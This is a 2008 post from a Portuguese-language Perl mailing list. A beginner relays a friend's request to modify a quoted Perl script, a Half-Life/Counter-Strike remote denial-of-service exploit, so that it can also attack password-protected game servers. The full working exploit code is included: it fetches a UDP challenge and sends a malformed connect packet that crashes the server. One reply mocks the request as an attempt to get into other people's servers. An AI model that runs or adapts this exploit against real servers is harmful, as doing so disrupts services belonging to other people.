[SP-pm] Ajuda simples

Daniel de Oliveira Mantovani daniel.oliveira.mantovani em hotmail.com
Domingo Junho 8 14:19:24 PDT 2008


Por coisas como essa " Ow, que legal que ele precisa de ajuda para entrar no CS dos outros
hein. Já que ele é tão espertão, por que ele não descobre sozinho? "
que no brasil não tem quase hackers = )

Date: Sun, 8 Jun 2008 17:10:05 -0300
From: russoz em gmail.com
To: saopaulo-pm em mail.pm.org
Subject: Re: [SP-pm] Ajuda simples

Ow, que legal que ele precisa de ajuda para entrar no CS dos outros hein. Já que ele é tão espertão, por que ele não descobre sozinho?

2008/6/8 Daniel de Oliveira Mantovani <daniel.oliveira.mantovani em hotmail.com>:






Bom, eu ainda sou newbie to na página 200 do livro "Perl: Como programar",
gostaria que vocês pudessem ajudar
Um amigo me pediu pra ajudar ele em um forum só que eu ainda não tenho o conhecimento necessário

vou por aqui o que ele pois la;
Obrigado
"
Tenho um script de CS DOS em Perl e   compilei ele para .exe.
Segue o código abaixo. 
Estou tentando modificá-lo para que se conecte a servers com senha.
 

A sintaxe do atalho para o exe é a seguinte Código:C:\Documents and Settings\Administrador\Desktop\dos.exe" ip_do_server:porta
Alguém poderia me ajudar a modificar este script para conexão c/ senha?
Lembrando que para conectar-se em um servidor c/ senha através do
console é Código:password senha; connect ip:porta

Obrigado!   

Código:#!/usr/bin/perl
# Server must not be running steam. /str0ke



# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux
dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];

$host=$ARGV[0];

if (fork())
{       econnect($host); }
else
{ econnect($host); };
exit;

sub econnect($)
{
        my $host=$_[0];
        my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');

        die "Could not create socket: $!\n" unless $sock;
        $cmd="\xff\xff\xff\xff";
        syswrite $sock, $cmd."getchallenge";

        sysread $sock,$b,65535;  print $b,"\n";

        @c=split(/ /,$b);

        $c2=$c[1];

        $q=$cmd."connect 47 $c2
\"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";

syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
} "


Instale a Barra de Ferramentas com Desktop Search e ganhe EMOTICONS para o Messenger! É GRÁTIS!


_______________________________________________

SaoPaulo-pm mailing list

SaoPaulo-pm em pm.org

http://mail.pm.org/mailman/listinfo/saopaulo-pm


-- 
Alexei Znamensky [russoz_gmail_com] [russoz.wordpress.com] [www.flickr.com/photos/alexeiz]

"Though we live in trying times, we're the ones who have to try"

_________________________________________________________________
Confira vídeos com notícias do NY Times, gols direto do Lance, videocassetadas e muito mais no MSN Video!
http://video.msn.com/?mkt=pt-br
-------------- Próxima Parte ----------
Um anexo em HTML foi limpo...
URL: http://mail.pm.org/pipermail/saopaulo-pm/attachments/20080608/e88d25bc/attachment.html 


Mais detalhes sobre a lista de discussão SaoPaulo-pm